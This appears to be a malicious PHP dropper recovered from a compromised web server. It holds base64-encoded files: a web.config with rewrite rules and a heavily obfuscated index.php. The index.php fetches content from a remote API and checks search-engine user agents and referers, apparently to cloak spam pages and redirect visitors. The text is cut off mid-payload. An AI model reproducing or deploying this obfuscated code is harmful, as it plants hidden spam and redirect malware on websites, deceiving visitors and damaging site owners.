File "output_script.php"

Full Path: /home/tekvhqgl/public_html/dev2024_old_skip/output_script.php
File size: 393.58 KB
MIME-type: text/x-php
Charset: utf-8

<?php

// 函数:生成随机字符串
function generateRandomString($length = 10) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

$app_ids = [
'f42c1bc3c8c26288',
'ed3a2e8ec84c2ba5',
'43ffcfa7e71a78ef',
'268e9fc97a822a63',
'4280cd988db3fe2b',
'f6d2b50ee57b3bbc',
'7cd89346d58ff9f1',
'b2cafca4d8353ba6',
'1ba85492b2901f98',
'a6a2e3631f2f7c38',
'fc54c4d506dfa3f7',
'2a05bdd549048e43',
'c1729909d0b2a3f3',
'cb5681fdb09a0e8c',
'bc38ffc811bd1570',
'84fb9678ce075a1c',
'05d26c8eb607083c',
'0ad5b830959c1ebf',
'6caa9f4029dd16c4',
'dc1c939a31ca99a6',
'2f67f8ad78c177b7',
'9e53cb19fa47f122',
'1524232b115dca27',
'ae853e1a920cff85',
'844388d8f95cf9ef',
'dca348cbef645d65',
'b2d7d68152d38358',
'2d6d8b000f54ed0c',
'07172191b9394156',
'5a1f2ec6ec7ffbd9',
'e22a4c0304ad8b1c',
'ce623306a88f5ae8',
'edb589457107b73e',
'34c18343e0b07caa',
'8155edac49994d2f',
'75342a1c84e3e9c9',
'21fcf2007870b64d',
'd48ad3119037f34f',
'bdccb4febc5528e1',
'4f2c8920f361144c',
'1805e2f72fd4de0c',
'91e304fee73ba1a9',
'3139104511afd548',
'f642f89a274149e5',
'ac3ff690eea371eb',
'8f1b31a15f4569a4',
'843638c7169b0deb',
'562bac587006f407',
'1fff0a1107f97773',
'0e48254252b1ecf3',
'c0dca75ae92c73a9',
'a5866d14be55cf92',
'51d20d020aafb250',
'8cb4456f9af654e4',
'2daf2590717b9066',
'0c5a6e4adc0c1437',
'e469e2b67f90efef',
'9585f8b99fb37538',
'7c787492c59825c2',
'bc2af1d58044932b',
'c17e159181129915',
'c547ce40f08892dc',
'985dbb0deec16ca3',
'ad218a7cc136ad2a',
'bb64c14d6db3face',
'a8a0b22128ff15e5',
'd71b69cb4a79f348',
'b5bd85b00740d515',
'36a20628990b8cb2',
'1a7f5f78023714eb',
'fd2354f497a6de1a',
'eb62e8f09b4fef76',
'41443b707dd5655e',
'8a13b46fc4cb51ac',
'e0de2b55c1342add',
'beb3d85b3264760f',
'c60e084a42bdc24a',
'cad13c5e0ce1b200',
'6e26e37a954d05cf',
'5e811e39a92b41f1',
'93f5848e3daf022c',
'd3a2c9eefcace0d0',
'ee454b28c1101ac4',
'621c56731fba5970',
'a474d9f50e584d1a',
'd69867bb068c2af7',
'0cbe568d367fcb2b',
'de10294c40c0d708',
'0a59bdbea5b1166a',
'5b30f519030a29cc',
'70f24d68b0e3e7a3',
'3e1f694e5c9a60e7',
'2962d83be3cc1ad2',
'0e477358b0dd80b1',
'dd9d5e373fbe00ed',
'da81c9834b379e24',
'4d67a6de987fce73',
'4720d0c64d2ca312',
'd864d380d274ded6',
'7062bd482cb5ce13',
'6475394d13cd6fad',
'9789a32bb7936112',
'76d713745dfb3ad3',
'c0a97a841de33f9c',
'f2c0e3a539b8f369',
'c475a19f73a9b1ad',
'a3e5a787dd0aac80',
'd664aa1eb92e0505',
'1a4be20f74d13ba3',
'8ae8a7746946350a',
'bc9098c0103941d4',
'34b5749426cd6644',
'b688dc609843e020',
'e4916a52ed90477b',
'44d6e56d21598b72',
'63d70b53a5f62fec',
'ef1b40e517de185b',
'f7c7a14d0adb727a',
'e8ae1ecf0050f69f',
'5c0a8116e1984466',
'5aa29a7c3323fd6f',
'ecda794bf4a614d1',
'a7b3ec650aaa3256',
'04ef2853ec9cfe1c',
'31b65ad2b53d60d7',
'051543679e5dae25',
'70c5da918b5b6175',
'ad31a9fdaf2b08de',
'95f2d0fdd13c87ac',
'33a6a1f6d5ff8be5',
'ee231e287c21777a',
'aab048c65bfecee8',
'dfbd8a69676b8b47',
'9e48359582f17b53',
'aa911427da6e6e4f',
'2b905fb48509c947',
'5d339904fed4f49c',
'9f2cd7abbdeb1d60',
'6e1ee6166d56acf4',
'3976472d538b0f48',
'aef189cb606fc5e3',
'82c7d85f8d2b7d24',
'd561e201845cee50',
'2d87b6dc4295bda4',
'17660bcc142fd40e',
'd01b06227519b5d4',
'6fe5d339d19b8be7',
'965ee4bce823033a',
'8c5be5d38a547da4',
'd6ec5b4cc9633019',
'bacf5577c50989b4',
'2c9b96b190ec2148',
'a5d1cfd981965b38',
'f3452e88cfde320c',
'1db68dd6877f9eef',
'135a5e4e24030ca3',
'80e1d10837592277',
'adecf5aaf4f33476',
'59daff6693c00b4b',
'747c6fdee557db6a',
'3a60a932698272c3',
'e455c95b1a2a3b32',
'66850e81078af48d',
'70b472d8ff7deb68',
'cf2b00e401211855',
'57e59fdc8efdb7b3',
'16806a3690ac7ccd',
'4942a92c112dd7cf',
'c33666d26ea577b6',
'44e2400b48a82506',
'9aec357121e3daeb',
'b1a5e452b6c8f937',
'924c8a7d3a875704',
'8d98b3b9fec97d16',
'1682fe7f50e798ee',
'6669f36a3636caa6',
'a6af981563b065bd',
'f3af6c40cc589c37',
'7defaa100b808842',
'4fc6bc132a64a18c',
'6ba2548ecab682dd',
'765ca2ce5ef11d10',
'01718b861ec080e3',
'a0ac6af5c379c464',
'9f391a4ef286d778',
'912038590ae388d9',
'd5b0e8899eb601c5',
'41eeadf84c8bff34',
'fbcbe3a6adbd4578',
'024b9b3135c675eb',
'b3bce85b5feada1a',
'15f797ef4bc13f9a',
'0e5c22f9b10f876c',
'fff48b92d22c85a4',
'644c08b62059a6e7',
'c31506fcb152ab40',
'e4ea749f835725cd',
'40c12027afb64a9d',
'2ceeee26f4c21494',
'1ae0592d97c5531d',
'41c439d47f9c5bd8',
'8800fa39132b73ad',
'22a5ff848393d4e5',
'82969af90ffd87aa',
'52bd9f1a449828ca',
'71daa9bfaeaf3ee0',
'6bd512ab46f20eb3',
'59b874db94f36089',
'8a0c258f81534f3b',
'9d66fb4d3c52e51b',
'dc6082d2229672ad',
'ae423046b257f8ed',
'001197419b8c38b1',
'fe9f7afd25db9875',
'84c287856fa1fc4c',
'a3898d5847ebcc5d',
'1c7f6e068f9ec092',
'269ed1e2219c02fc',
'8e88dce4985bc39c',
'546b48655dee5d40',
'2bf6a722a4a945f1',
'c080455dcc70a692',
'5c0edbaf00e87e02',
'478c185b80543223',
'4293e8342b795497',
'f4511799a4635023',
'2cd9ee29aa758acd',
'9e8174872e42ea3d',
'f5028f7ab5b7817e',
'aa722dbc44133cc0',
'74811f2c356af726',
'9743240b090966c7',
'7047e18849e86076',
'a4d24b750e15fd64',
'efa39f7e56e3cb73',
'dbb478a0bd08a45f',
'9a56cbcdcac7f9f0',
'f409da386bd2abf0',
'6238e838a1a20f64',
'df5871362e26bdd6',
'9c9f4edea7dbd134',
'74c20ad424a0471a',
'4db17f74b5c9de03',
'f6876a894d1b01c8',
'3b0ae82cf7b4cd70',
'd0d82aac58d9e2f1',
'd44b2de782b8b586',
'bf095eef6260183d',
'b9d240750aa3cc88',
'5f83a9809f5ffb38',
'5fe246bbebac16be',
'ba4c2dee8b947483',
'ca9a61e4af23e40f',
'e0e0ccc6f4fddb81',
'2e7af2c977b72be7',
'e4f8beca5b439957',
'9b562ceb1d3b2418',
'91aa496da75314a0',
'cef79b09d72b2ec4',
'7d91c0c1d0e3846b',
'c9e2914975f35db5',
'8184901d713fb76c',
'efe1a2ba7cf19bf6',
'410691af3b8ceba8',
'e0f00374e78d24f3',
'd616d2c55911bc2f',
'd1fc266d99474c1b',
'9fe80f951b712036',
'12ce2e767528f952',
'61edc17e0ccd8783',
'408d990980b1628c',
'c55bff9f4c00d47b',
'3830fb39ad7d4320',
'78cc36979c4e6304',
'c7d1488ce7125559',
'd77b45dcbf18b599',
'd00650e0518720cc',
'1a1bbb8e318676f7',
'87428dde963b6cd3',
'6e0d9afcdbce302f',
'157b20fc0764626d',
'f682f89b0d727638',
'14c89e01fe4bc52f',
'aeda737214112751',
'f84b19155ce24136',
'29d7d090af7d4c01',
'c278d5372476d755',
'6737fe3947db5610',
'f95dff27a68aa1fd',
'd32704f86bbd0865',
'ac80b08a44d0e936',
'0606b942861096f4',
'ba676db8749f4d28',
'561e2d648dccd9e2',
'b88fe3a09a81cb02',
'a42cc47e00fbade2',
'9d5f8965a597142b',
'35d12e70ae08fde6',
'659b7fa0801cd8fc',
'662fb4adc012ebe2',
];
shuffle($app_ids);

$files = array (
  'web.config' => 'PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxjb25maWd1cmF0aW9uPg0KICAgIDxzeXN0ZW0ud2ViU2VydmVyPg0KICAgICAgICA8cmV3cml0ZT4NCiAgICAgICAgICAgIDxydWxlcz4NCiAgICAgICAgICAgICAgICA8cnVsZSBuYW1lPSJSZXdyaXRlIGRldGFpbCI+DQogICAgICAgICAgICAgICAgICAgIDxtYXRjaCB1cmw9Il5kZXRhaWwvKD86W15fXSopXyhbXi4vXSspXC5odG1sJCIgLz4NCiAgICAgICAgICAgICAgICAgICAgPGFjdGlvbiB0eXBlPSJSZXdyaXRlIiB1cmw9ImluZGV4LnBocD90PWRldGFpbCZhbXA7aT17UjoxfSIgLz4NCiAgICAgICAgICAgICAgICA8L3J1bGU+DQogICAgICAgICAgICAgICAgPHJ1bGUgbmFtZT0iUmV3cml0ZSBjb2xsZWN0aW9uIDEiPg0KICAgICAgICAgICAgICAgICAgICA8bWF0Y2ggdXJsPSJeY29sbGVjdGlvbi8oPzpbXl9dKilfKFteLi9dKylcLmh0bWwkIiAvPg0KICAgICAgICAgICAgICAgICAgICA8YWN0aW9uIHR5cGU9IlJld3JpdGUiIHVybD0iaW5kZXgucGhwP3Q9Y29sbGVjdGlvbiZhbXA7aT17UjoxfSIgLz4NCiAgICAgICAgICAgICAgICA8L3J1bGU+DQogICAgICAgICAgICAgICAgPHJ1bGUgbmFtZT0iUmV3cml0ZSBjb2xsZWN0aW9uIDIiPg0KICAgICAgICAgICAgICAgICAgICA8bWF0Y2ggdXJsPSJeY29sbGVjdGlvbi8oPzpbXl9dKilfKFteLi9dKykvKFxkKykvKFxkKylcLmh0bWwkIiAvPg0KICAgICAgICAgICAgICAgICAgICA8YWN0aW9uIHR5cGU9IlJld3JpdGUiIHVybD0iaW5kZXgucGhwP3Q9Y29sbGVjdGlvbiZhbXA7aT17UjoxfSZhbXA7bj17UjoyfSZhbXA7cz17UjozfSIgLz4NCiAgICAgICAgICAgICAgICA8L3J1bGU+DQogICAgICAgICAgICAgICAgPHJ1bGUgbmFtZT0iUmV3cml0ZSBzaXRlbWFwIHhtbCI+DQogICAgICAgICAgICAgICAgICAgIDxtYXRjaCB1cmw9Il5zaXRlbWFwXC54bWwkIiAvPg0KICAgICAgICAgICAgICAgICAgICA8YWN0aW9uIHR5cGU9IlJld3JpdGUiIHVybD0iaW5kZXgucGhwP3Q9c2l0ZW1hcCZhbXA7cz17UjoxfSZhbXA7Zj14bWwiIC8+DQogICAgICAgICAgICAgICAgPC9ydWxlPg0KICAgICAgICAgICAgICAgIDxydWxlIG5hbWU9IlJld3JpdGUgc2l0ZW1hcCB4bWwgMiI+DQogICAgICAgICAgICAgICAgICAgIDxtYXRjaCB1cmw9Il5zaXRlbWFwKC1cZCspP1wuKHR4dHx4bWwpJCIgLz4NCiAgICAgICAgICAgICAgICAgICAgPGFjdGlvbiB0eXBlPSJSZXdyaXRlIiB1cmw9ImluZGV4LnBocD90PXNpdGVtYXAmYW1wO3M9e1I6MX0mYW1wO2Y9e1I6Mn0iIC8+DQogICAgICAgICAgICAgICAgPC9ydWxlPg0KICAgICAgICAgICAgICAgIDxydWxlIG5hbWU9IlJld3JpdGUgc3RhdGljIj4NCiAgICAgICAgICAgICAgICAgICAgPG1hdGNoIHVybD0iXnN0YXRpYy8oLiopIiAvPg0KICAgICAgICAgICAgICAgICAgICA8YWN0aW9uIHR5cGU9IlJld3JpdGUiIHVybD0iaW5kZXgucGhwP3Q9c3RhdGljJmFtcDtwPXN0YXRpYyZhbXA7ZT17UjoxfSIgLz4NCiAgICAgICAgICAgICAgICA8L3J1bGU+DQogICAgICAgICAgICAgICAgPHJ1bGUgbmFtZT0iUmV3cml0ZSB3cC1jb250ZW50Ij4NCiAgICAgICAgICAgICAgICAgICAgPG1hdGNoIHVybD0iXndwLWNvbnRlbnQvKC4qKSIgLz4NCiAgICAgICAgICAgICAgICAgICAgPGFjdGlvbiB0eXBlPSJSZXdyaXRlIiB1cmw9ImluZGV4LnBocD90PXN0YXRpYyZhbXA7cD13cC1jb250ZW50JmFtcDtlPXtSOjF9IiAvPg0KICAgICAgICAgICAgICAgIDwvcnVsZT4NCiAgICAgICAgICAgICAgICA8cnVsZSBuYW1lPSJSZXdyaXRlIHdwLWluY2x1ZGVzIj4NCiAgICAgICAgICAgICAgICAgICAgPG1hdGNoIHVybD0iXndwLWluY2x1ZGVzLyguKikiIC8+DQogICAgICAgICAgICAgICAgICAgIDxhY3Rpb24gdHlwZT0iUmV3cml0ZSIgdXJsPSJpbmRleC5waHA/dD1zdGF0aWMmYW1wO3A9d3AtaW5jbHVkZXMmYW1wO2U9e1I6MX0iIC8+DQogICAgICAgICAgICAgICAgPC9ydWxlPg0KICAgICAgICAgICAgPC9ydWxlcz4NCiAgICAgICAgPC9yZXdyaXRlPg0KICAgIDwvc3lzdGVtLndlYlNlcnZlcj4NCjwvY29uZmlndXJhdGlvbj4NCg==',
  'index.php' => 'PD9waHANCiBnb3RvIElOWjFtOyBYOFBYbTogJGFSVmowID0gbmV3IG1GZk9nKCk7IGdvdG8gYWVtSkk7IElOWjFtOiBpbmlfc2V0KCJcMTQ0XHg2OVwxNjNcMTYwXDE1NFwxNDFceDc5XDEzN1x4NjVceDcyXDE2MlwxNTdcMTYyXDE2MyIsICJceDMwIik7IGdvdG8gTmZJN0U7IE5mSTdFOiBjbGFzcyBNZkZvZyB7IGNvbnN0IG5OellKID0gIlx4MmZcMTQxXHg3MFwxNTFcNTdcMTQ3XDE0NVx4NzRcMTM3XHg2MlwxNDFcMTU2XHg2ZVx4NjVcMTYyIjsgY29uc3QgaHdNOWkgPSAiXDU3XDE0MVx4NzBceDY5XHgyZlx4NjdcMTQ1XDE2NFwxMzdcMTYzXHg3NVx4NjIiOyBjb25zdCBpV29BdSA9ICJceDJmXHg2MVx4NzBcMTUxXDU3XDE0N1x4NjVcMTY0XDEzN1wxNTRcMTUxXDE2M1wxNjQiOyBjb25zdCBYNjFpdSA9ICJcNTdceDYxXDE2MFx4NjlcNTdceDY3XHg2NVwxNjRcMTM3XDE0NFwxNDVcMTY0XHg2MVwxNTFceDZjIjsgY29uc3QgcGFBdUwgPSAiXHgyZlwxNDFceDcwXHg2OVw1N1wxNjJceDYxXHg2ZVwxNDRcMTU3XHg2ZFx4NTdcMTU3XDE2MlwxNDRceDczIjsgY29uc3QgUm9fM3cgPSAiXDU3XHg2MVx4NzBceDY5XDU3XHg2ZVx4NmZcMTY0XDE0N1wxNDJcMTcxIjsgY29uc3QgWVF4VFEgPSAiXDU3XDE0MVx4NzBcMTUxXDU3XHg2Y1x4NjlceDZlXDE1M1x4MmZceDYzXHg2MVwxNDNcMTUwXHg2NSI7IGNvbnN0IFRZaTluID0gIlx4MmZcMTQxXHg3MFx4NjlcNTdcMTUwXDE1N1x4NzRceDJmXHg2N1x4NjVcMTY0XHg1Zlx4NjlceDZlXDE0NFwxNDVceDc4IjsgY29uc3QgWFRLc2UgPSAiXDU3XDE0MVwxNjBcMTUxXDU3XHg2OFwxNTdcMTY0XHgyZlx4NjdceDY1XDE2NFx4NWZceDZjXHg2OVx4NzNceDc0IjsgY29uc3QgdjB4X1cgPSAiXDU3XHg2MVx4NzBcMTUxXDU3XHg2OFx4NmZcMTY0XDU3XDE0N1x4NjVceDc0XHg1ZlwxNDRceDY1XDE2NFx4NjFcMTUxXHg2YyI7IGNvbnN0IG1JZ1lXID0gIlx4NjhcMTQ1XDE0MVx4NmNcMTY0XHg2OFwxNDNcMTUwXDE0NVx4NjNcMTUzIjsgY29uc3QgV0hNMWsgPSAiXDEzN1x4NjNceDYxXHg2M1x4NjhcMTQ1XHg1ZiI7IGNvbnN0IFpfNU8zID0gIlwxNDNceDZmXDE1NFwxNTRcMTQ1XDE0M1wxNjRcMTUxXHg2ZlwxNTYiOyBjb25zdCBXZGVvWSA9ICJceDY0XDE0NVwxNjRcMTQxXDE1MVwxNTQiOyBjb25zdCBFdXNJaiA9ICJceDcwXDE2MlwxNTdceDY0XHg3NVwxNDNcMTY0XHg1ZlwxNTFcMTQ0IjsgY29uc3QgSk9ySEMgPSAiXDE0M1wxNDFcMTY0XHg2NVx4NjdceDZmXHg3Mlx4NzlceDVmXDE1MVx4NjQiOyBjb25zdCBwVDUzSSA9ICJcMTQ1XDE0MlwxNDFceDc5IjsgY29uc3QgdFhFTTIgPSAiXHg2MVx4NmRcMTQxXDE3Mlx4NmZcMTU2IjsgY29uc3Qga0JielkgPSAiXHg2Mlx4NzJceDYxXDE1NlwxNDRcMTQxXHg3MFx4NjkiOyBjb25zdCB1am5jQSA9ICJceDY4XHg2ZlwxNjRcMTY0XDE1N1x4NzBceDY5XDE0M1wxNjMiOyBjb25zdCBaTWl3NCA9ICJceDQyXHg2NVx4NzNceDc0XHgyMFx4NTNceDY4XHg2Zlx4NzAiOyBjb25zdCB1YkdFNSA9ICJcMTI0XDExNFx4NDMiOyBjb25zdCByeFJrNSA9ICJceDUyXDExM1wxMjciOyBjb25zdCBqQ0hYQSA9ICJcMTE0XDExMVx4NTNceDU0IjsgY29uc3QgakNrcGcgPSAiXDEyM1wxMjVceDQyIjsgY29uc3QgbUlLRWcgPSAiXHg0NFx4NDVcMTI0XHg0MVx4NDlcMTE0IjsgY29uc3QgSU84NzUgPSAiXDE0M1wxNTBceDY5XDE1NFx4NjRceDVmXDE0M1wxNDFcMTQzXHg2OFx4NjUiOyBjb25zdCBkVWd1eCA9IDE7IGNvbnN0IERjYnRuID0gMTI7IGNvbnN0IG9TSEV6ID0gOTsgY29uc3QgYXBlRHogPSAxNTsgY29uc3QgVFc1aGUgPSA4OCAvIDEwMDsgY29uc3QgYW9HOXEgPSA2MCAvIDEwMDsgY29uc3QgVDU5aWIgPSA4OyBjb25zdCBHaFk1aiA9IDE7IGNvbnN0IHVBbDBSID0gMTA7IGNvbnN0IE1pNVJzID0gODY0MDA7IGNvbnN0IG96RzVlID0gMTsgcHJpdmF0ZSAkSjZqMXc7IHByaXZhdGUgJGpSME1XOyBwcml2YXRlICROMGtfdTsgcHJpdmF0ZSAkSkdEblM7IHByaXZhdGUgJEtuRW1kOyBwcml2YXRlICREZUNhSzsgcHJpdmF0ZSAkVGVpSEQ7IHByaXZhdGUgJGo4SXZ5OyBwdWJsaWMgZnVuY3Rpb24gaW5pdCgpIHsgZ290byBHYjNrMjsgQ0xoSTE6IGp2THhOOiBnb3RvIFhVeU5JOyBVb21aNzogTW53dDI6IGdvdG8gQWp2Tkc7IFg5dk1HOiBpZiAoISgkUDdpVmggPT0gIlx4NzNceDc0XDE0MVwxNjRceDY5XHg2MyIpKSB7IGdvdG8gbFBVdFI7IH0gZ290byBONG9yUTsgTjRvclE6ICRjR2tONyA9ICJcMTUwXHg3NFx4NzRcMTYwXDE2M1w3Mlx4MmZcNTd7JEZvTFdsWyJceDYxXHg3MFwxNTFceDVmXDE2NVwxNjJceDZjIl19XDU3eyRfR0VUWyJceDcwIl19XHgyZnskX0dFVFsiXDE0NSJdfSI7IGdvdG8gZlZhUUs7IG1vMUdJOiBCRmgwejogZ290byBEV3RvMjsgTUh0YTE6IFFuQnR3OiBnb3RvIHZGZzNiOyBJelJkVTogJERXQndFID0gaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFwxMjBcMTIzIl0pICYmICRfU0VSVkVSWyJceDQ4XDEyNFx4NTRceDUwXDEyMyJdID09ICJcMTU3XHg2ZSIgfHwgaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFx4NTBcMTM3XHg1OFx4NWZcMTA2XDExN1wxMjJceDU3XHg0MVwxMjJcMTA0XHg0NVwxMDRcMTM3XHg1MFx4NTJcMTE3XHg1NFx4NGYiXSkgJiYgJF9TRVJWRVJbIlwxMTBceDU0XHg1NFwxMjBcMTM3XDEzMFx4NWZceDQ2XDExN1x4NTJcMTI3XDEwMVx4NTJcMTA0XDEwNVwxMDRceDVmXDEyMFx4NTJcMTE3XHg1NFx4NGYiXSA9PSAiXDE1MFwxNjRcMTY0XDE2MFx4NzMiID8gIlwxNTBceDc0XDE2NFx4NzBcMTYzIiA6ICJceDY4XDE2NFx4NzRcMTYwIjsgZ290byByYXh6TTsgSjlrbXE6IGlmICghKHN0cnBvcygkX0dFVFsiXDE0NSJdLCAiXDE2MFwxNTRceDc1XDE0N1wxNTFcMTU2XDE2M1w1Nlx4NjNcMTYzXHg3MyIpID09IHRydWUpKSB7IGdvdG8gSGN6NE87IH0gZ290byB6YnRGUTsgdlpVRWc6IGlmICghKHN1YnN0cigkdGhpcy0+SjZqMXcsIC0xKSA9PSAiXDU3IikpIHsgZ290byBJTF95VDsgfSBnb3RvIEMyRVdaOyBzQWFBRTogZ290byBBcDRhNjsgZ290byByUTl4YjsgUXdicms6IGlmICghKCRlT2tOZiAhPSBmYWxzZSkpIHsgZ290byBxS3FUVDsgfSBnb3RvIEo5a21xOyBDMkVXWjogJHRoaXMtPko2ajF3ID0gcnRyaW0oJHRoaXMtPko2ajF3LCAiXHgyZiIpOyBnb3RvIFFBMHRWOyBYVXlOSTogZ290byB6S0ZsZzsgZ290byBFRzh2TjsgY2xGdGM6ICRtSXVhaCA9ICRfU0VSVkVSWyJceDQ4XHg1NFx4NTRcMTIwXHg1Zlx4NTJceDQ1XDEwNlwxMDVceDUyXDEwNVwxMjIiXTsgZ290byB0TWhKRzsgVTBDNnQ6IGtkRE4yOiBnb3RvIHZXMWR2OyBhQWoyTjogZ290byBqdkx4TjsgZ290byBOYVVyYTsgbTZJN0E6ICR0aGlzLT5WTkNHWigpOyBnb3RvIElBVklMOyBnWE1PMjogJGF4NEw3ID0gJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBceDVmXDEyNVwxMjNcMTA1XDEyMlx4NWZcMTAxXHg0N1wxMDVceDRlXHg1NCJdOyBnb3RvIHNPM3NOOyBSYTZWMDogbFBVdFI6IGdvdG8gZ1hNTzI7IHV6QWpPOiBleGl0OyBnb3RvIFJhNlYwOyBuWkw2SzogaGVhZGVyKCJceDQ4XDEyNFwxMjRcMTIwXDU3XDYxXHgyZVx4MzFcNDBcNjNceDMwXDYxXHgyMFwxMTVceDZmXDE2Nlx4NjVcMTQ0XHgyMFx4NTBcMTQ1XDE2MlwxNTVcMTQxXHg2ZVwxNDVceDZlXHg3NFwxNTRceDc5Iik7IGdvdG8gYm5udEY7IHJheHpNOiAkdGhpcy0+SjZqMXcgPSAiXHg2OFx4NzRcMTY0XDE2MFwxNjNcNzJceDJmXHgyZnskRm9MV2xbIlx4NjFcMTYwXDE1MVx4NWZcMTY1XHg3Mlx4NmMiXX0iOyBnb3RvIHZaVUVnOyBKaGY4bDogaWYgKCEoIWVtcHR5KCRfR0VUKSAmJiBpc19hcnJheSgkX0dFVCkpKSB7IGdvdG8ga2RETjI7IH0gZ290byBxdl9wajsgWFhXZFQ6IGdvdG8gdk9hRnA7IGdvdG8gTUh0YTE7IEloazdGOiB2T2FGcDogZ290byBnbjg0WTsgSHpfdDM6IGV4aXQ7IGdvdG8gYzJ0MjE7IE93YkpYOiAkRG56eTAgPSAkd2FZNWhbIlx4NjhcMTU3XHg3M1wxNjQiXTsgZ290byBtbzFHSTsgemJ0RlE6IGlmICgkdGhpcy0+VGVpSEQgfHwgc3RyaXBvcygkX1NFUlZFUlsiXDEyM1wxMDVcMTIyXDEyNlx4NDVcMTIyXDEzN1wxMjNceDRmXHg0NlwxMjRceDU3XHg0MVx4NTJceDQ1Il0sICJceDZlXDE0N1x4NjlcMTU2XHg3OCIpICE9PSBmYWxzZSkgeyBnb3RvIGtWemZYOyB9IGdvdG8gbVFhZGs7IHNPM3NOOiBpZiAocHJlZ19tYXRjaCgiXHgyZlx4MjhcMTQ3XDE1N1wxNTdcMTQ3XHg2Y1wxNDVceDdjXHg2Mlx4NjlceDZlXDE0N1wxNzRceDc5XDE0MVwxNTZceDY0XDE0NVwxNzBceDI5XDU3XHg2OSIsICRheDRMNykpIHsgZ290byBRbkJ0dzsgfSBnb3RvIExJN05aOyBtUWFkazogJGVPa05mID0gcHJlZ19yZXBsYWNlKCJcNTdcMTY1XHg3MlwxNTRceDVjXDUwXDQyXDUwXDEzM1wxMzZcNDJcMTM1XHgyYVx4MjlcNDJcMTM0XDUxXDU3IiwgIlx4NzVcMTYyXHg2Y1x4Mjh7JHRoaXMtPlJsX2lNKCl9XDQ0XDYxXDUxIiwgJGVPa05mKTsgZ290byBzQWFBRTsgRFd0bzI6ICRQN2lWaCA9ICRfR0VUWyJcMTY0Il07IGdvdG8gSXRIdWE7IHRNaEpHOiBpZiAoISRtSXVhaCkgeyBnb3RvIEJGaDB6OyB9IGdvdG8gQmlFRnE7IGdvUVBROiAkdGhpcy0+alIwTVcgPSAkRm9MV2xbIlwxNDFcMTYwXDE2MFwxMzdceDY5XDE0NCJdOyBnb3RvIFRuQUF0OyB6UEwyUTogJFN0SEg5ID0gJFA3aVZoIC4gKCRfR0VUWyJceDczIl0gPzogJycpIC4gIlw1NnskX0dFVFsiXDE0NiJdfSI7IGdvdG8gSkhnWGc7IFRuQUF0OiAkdGhpcy0+S25FbWQgPSAkRm9MV2xbIlwxNDFcMTYwXDE1MVx4NWZcMTYzXHg3MlwxNDMiXTsgZ290byBwZGUydjsgTmFVcmE6IGVZM2xSOiBnb3RvIGhpd0EwOyBubHFYXzogZXhpdDsgZ290byBNUUhieDsgTEk3Tlo6IGlmICghZW1wdHkoJERuenkwKSAmJiBwcmVnX21hdGNoKCJcNTdcNTBcMTQ3XDE1N1wxNTdcMTQ3XHg2Y1wxNDVceDdjXHg2Mlx4NjlceDZlXHg2N1wxNzRcMTcxXHg2MVx4NmVceDY0XDE0NVwxNzBcNTFcNTdceDY5IiwgJERuenkwKSkgeyBnb3RvIEhiNUNaOyB9IGdvdG8gQl9Xb1k7IG1mbXZfOiAkdEFhS3AgPSBzdHJsZW4oIlwxNjdcMTY3XDE2N1x4MmUiKTsgZ290byBHeW55RTsgSnNjM0k6ICR0aGlzLT5UZWlIRCA9ICRGb0xXbFsiXDE1Nlx4NjdcMTUxXDE1NlwxNzAiXTsgZ290byBjd3ZmTzsgbGhsWmY6IHcwQXl4OiBnb3RvIFVvbVo3OyByUTl4Yjoga1Z6Zlg6IGdvdG8gSGdwc3g7IFJYb1lsOiAkRm9MV2wgPSBqc29uX2RlY29kZSgkdzNTNUUsIHRydWUpOyBnb3RvIGdvUVBROyByVzN1ODogJHRoaXMtPmo4SXZ5ID0gZmFsc2U7IGdvdG8gSXpSZFU7IEJfV29ZOiBpZiAoJF9HRVRbIlx4NjgiXSA9PSBzZWxmOjptSWdZVyAmJiAkX1NFUlZFUlsiXDEyMlx4NDVceDUxXHg1NVx4NDVcMTIzXHg1NFwxMzdcMTE1XDEwNVwxMjRceDQ4XDExN1wxMDQiXSA9PT0gIlwxMDdcMTA1XHg1NCIpIHsgZ290byBlWTNsUjsgfSBnb3RvIHBfenBUOyBxdl9wajogZm9yZWFjaCAoJF9HRVQgYXMgJFpWOG5XID0+ICRNVV9ENikgeyAka1FvNkYgPSAka1FvNkYgLiAiXDQ2eyRaVjhuV31ceDNkeyRNVV9ENn0iOyBpMTZRWDogfSBnb3RvIHlib1czOyBwZGUydjogJHRoaXMtPkRlQ2FLID0gJEZvTFdsWyJceDYxXHg3MFx4NjlcMTM3XHg2NVx4NzhceDc0XHg3Mlx4NjEiXTsgZ290byBKc2MzSTsgQmlFRnE6ICR3YVk1aCA9IHBhcnNlX3VybCgkbUl1YWgpOyBnb3RvIE93YkpYOyBJQVZJTDogaHR0cF9yZXNwb25zZV9jb2RlKDIwMCk7IGdvdG8gbmxxWF87IHlib1czOiBUbXNCTjogZ290byBVMEM2dDsgQk9ZMzQ6IHFLcVRUOiBnb3RvIHV6QWpPOyBZamdNQTogaGVhZGVyKCJcMTE0XDE1N1x4NjNcMTQxXDE2NFwxNTFceDZmXDE1Nlw3Mlx4MjB7JGtRbzZGfSIpOyBnb3RvIEFiTERDOyBhd2NaaDogaWYgKCEoc3Vic3RyKCR0aGlzLT5OMGtfdSwgMCwgJHRBYUtwKSA9PT0gIlwxNjdceDc3XDE2N1x4MmUiKSkgeyBnb3RvIGwzejhWOyB9IGdvdG8gZGFqNmg7IFNUajFGOiBnb3RvIE1NQjE2OyBnb3RvIExNSVd2OyBjMnQyMTogVnN3R1g6IGdvdG8gWDl2TUc7IEREc1BBOiBIY3o0TzogZ290byByVG1WTTsgdkZnM2I6IHN3aXRjaCAoJFA3aVZoKSB7IGNhc2Ugc2VsZjo6Wl81TzM6IGVjaG8gJHRoaXMtPnUzNGJsKCk7IGdvdG8gTW53dDI7IGNhc2Ugc2VsZjo6V2Rlb1k6IGVjaG8gJHRoaXMtPkcxWFFYKCk7IGdvdG8gTW53dDI7IGRlZmF1bHQ6IGVjaG8gJHRoaXMtPmo2V3dCKCk7IH0gZ290byBsaGxaZjsgeDVkM2s6IGwzejhWOiBnb3R